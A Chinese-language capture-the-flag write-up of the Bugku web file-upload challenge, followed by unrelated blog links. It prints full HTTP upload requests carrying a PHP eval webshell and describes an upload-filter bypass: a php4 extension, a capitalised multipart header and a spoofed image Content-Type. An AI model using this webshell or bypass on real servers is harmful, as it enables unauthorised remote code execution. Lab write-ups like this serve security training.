bugku-web-文件上传

提示他的名字是margin,给他一个图片文件,不要php文件

上传一句话木马的图片

抓包,后缀改为php

提示无效文件,即后台还会检测一次后缀

测试后台系统

为linux系统

开始绕过

截断绕过

上传成功,但是会变为jpg

开始分析报文

木马图片报文

复制代码
POST /index.php HTTP/1.1
Host: 114.67.175.224:11895
Content-Length: 319
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://114.67.175.224:11895
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX2F8o0V31B8bZ2Zn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://114.67.175.224:11895/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: Hm_lvt_c1b044f909411ac4213045f0478e96fc=1711286763; _ga=GA1.1.52075818.1711286767; _ga_F3VRZT58SJ=GS1.1.1711288951.2.1.1711290145.0.0.0
Connection: close

------WebKitFormBoundaryX2F8o0V31B8bZ2Zn
Content-Disposition: form-data; name="file"; filename="look.jpg"
Content-Type: image/jpeg

<?php phpinfo();eval($_POST['cmd']);?>
------WebKitFormBoundaryX2F8o0V31B8bZ2Zn
Content-Disposition: form-data; name="submit"

Submit
------WebKitFormBoundaryX2F8o0V31B8bZ2Zn--

木马php文件报文

复制代码
POST /index.php HTTP/1.1
Host: 114.67.175.224:11895
Content-Length: 333
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://114.67.175.224:11895
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNpcrwyqI789or19t
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://114.67.175.224:11895/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: Hm_lvt_c1b044f909411ac4213045f0478e96fc=1711286763; _ga=GA1.1.52075818.1711286767; _ga_F3VRZT58SJ=GS1.1.1711288951.2.1.1711290145.0.0.0
Connection: close

------WebKitFormBoundaryNpcrwyqI789or19t
Content-Disposition: form-data; name="file"; filename="look.php"
Content-Type: application/octet-stream

<?php phpinfo();eval($_POST['cmd']);?>
------WebKitFormBoundaryNpcrwyqI789or19t
Content-Disposition: form-data; name="submit"

Submit
------WebKitFormBoundaryNpcrwyqI789or19t--

对比两者报文,发现Content-Type不同

但是改完后还是不行

这里看完评论区后得到要将报文头部的

Content-Type: multipart/form-data;

其中multipart/form-data中的任意字母大写,从而绕过后台

但是没有源码怎么能知道呢?

这题这里就出现了bug。。。。

得到这个bug后开始绕过

文件后缀改为php4

头部大写一个字母

数据处Content-Type改为image/jpeg

即可成功绕过

蚁剑连接后在根目录下看到flag

得到flag

相关推荐
cyforkk11 分钟前
Vercel 绑定自定义域名极简配置指南
服务器·前端·网络
IT_陈寒1 小时前
React useEffect依赖数组中埋的坑,这次终于让我逮到了
前端·人工智能·后端
FourAu2 小时前
2026 前端突围指南:从 ESR 边缘渲染到封装 Web AI SDK,聊聊 AI 时代的职业进化
前端·人工智能
Zkeq2 小时前
不止是聊天框:我用 EdgeOne Makers Agents 给烹饪 APP 加了一位能“改菜谱”的 AI 主厨
前端
kp000002 小时前
Prompt注入攻击(Prompt Injection Attack)
人工智能·安全·网络安全·信息安全·ai安全
咩咩啃树皮3 小时前
第32篇:前端本地存储全解——Cookie、localStorage、sessionStorage 区别与实战
前端
腻害兔5 小时前
【若依项目-产品经理视角】深度拆解 RuoYi-Vue-Pro 框架层:15 个 Starter 到底在干什么?
前端·vue.js·产品经理·ai编程
Python+995 小时前
Codex++安全边界探秘:从模型能力到风险防御
安全
Sagittarius_A*5 小时前
CSRF 跨站请求伪造:伪造请求攻击、绕过手段与底层防御
安全·web安全·csrf·dvwa